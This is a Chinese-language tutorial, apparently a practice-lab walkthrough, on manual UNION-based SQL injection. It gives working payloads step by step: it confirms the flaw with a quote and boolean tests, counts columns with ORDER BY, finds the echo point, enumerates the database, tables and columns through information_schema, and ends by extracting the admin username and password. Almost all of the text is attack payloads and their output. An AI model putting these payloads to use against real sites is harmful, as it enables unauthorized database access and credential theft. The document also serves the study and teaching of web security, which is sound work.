1、通过网页猜测sql语句
原始页面
先猜测sql语句为
select * from 表名 where id = 参数id
当id=1时后台的语句应为
select * from 表名 where id = 1
2、开始判断是否存在sql注入
select * from 表名 where id = 1‘
页面发生了改变,表示语句被后台执行存在sql语句
因为and 1=1 为真,and 1=2 为假
先测试and 1=1,页面没有发生改变
再测试and 1=2,发现页面发生改变,证明存在sql注入漏洞
3、判断该表有几个字段
使用 order by对字段进行排序,直到页面显示不正常,由此来判断存在几个字段
先尝试order by5看是否有数据,没有显示数据
再尝试order by 4,order by 3,直到order by 2才有内容,因此可以判断该表字段数为2
4、寻找回显点
如果想通过页面返回信息,必须要知道回显点
可以使用拼接语句进行查找
select * from 表名 where id = 1 and 1=2 union select 1,2;
下图语句输出显示为2,代表回显点在第二个数据
5、构建语句获取库名,表名,字段
通过4我们知道了回显点为2
构造语句select * from 表名 where id = 1 and 1=2 union select 1,database();获取库名
下图输出,显示库名为maoshe
这就需要用到information_schema_tables表
information_schema_tables中记录了:table_schema库名、table_name表名
知道怎么查找就开始进行语句构造,前面知道了库名为maoshe,所以语句为
select * form 表 where id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema='maoshe';
语句输出为admin,代表库maoshe里面存在名为admin的表
因为受回显点的影响无法看到其他表,可以使用limit,例如limit 0,1/limit 1,1/limit 2,1等等向下查找数据,直到不显示为止,就不一一显示了,可以自己尝试
select * form 表 where id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema='maoshe' limit 1,1;
也可以使用group_concat()函数一次性显示
select * form 表 where id=1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='maoshe';
我们就以admin那个表为例获取字段
这里我们要用到information_schema.columns表,其中table_name为表名,column_name为列名
select * form 表 where id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='admin';
结合以上查出了库名maoshe里面存在着admin的表,表里面存在id,username,password三个字段
查找用户名username
select * form 表 where id=1 and 1=2 union select 1,username from admin;
查找密码password
select * form 表 where id=1 and 1=2 union select 1,password from admin;
所以后台账号密码为:admin/hellohack
至此手工注入完成